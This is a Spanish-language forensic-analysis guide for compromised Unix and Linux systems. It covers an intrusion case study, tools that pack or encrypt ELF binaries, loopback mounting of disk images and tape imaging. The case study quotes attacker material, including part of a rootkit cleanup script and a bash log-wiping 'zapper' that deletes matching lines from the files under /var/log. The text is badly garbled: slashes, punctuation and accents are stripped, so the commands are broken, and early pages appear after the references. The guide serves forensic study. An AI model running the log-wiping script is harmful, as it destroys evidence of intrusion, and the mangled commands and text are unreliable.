Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 14: Análisis Forense de Sistemas GNU/Linux, Unix

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

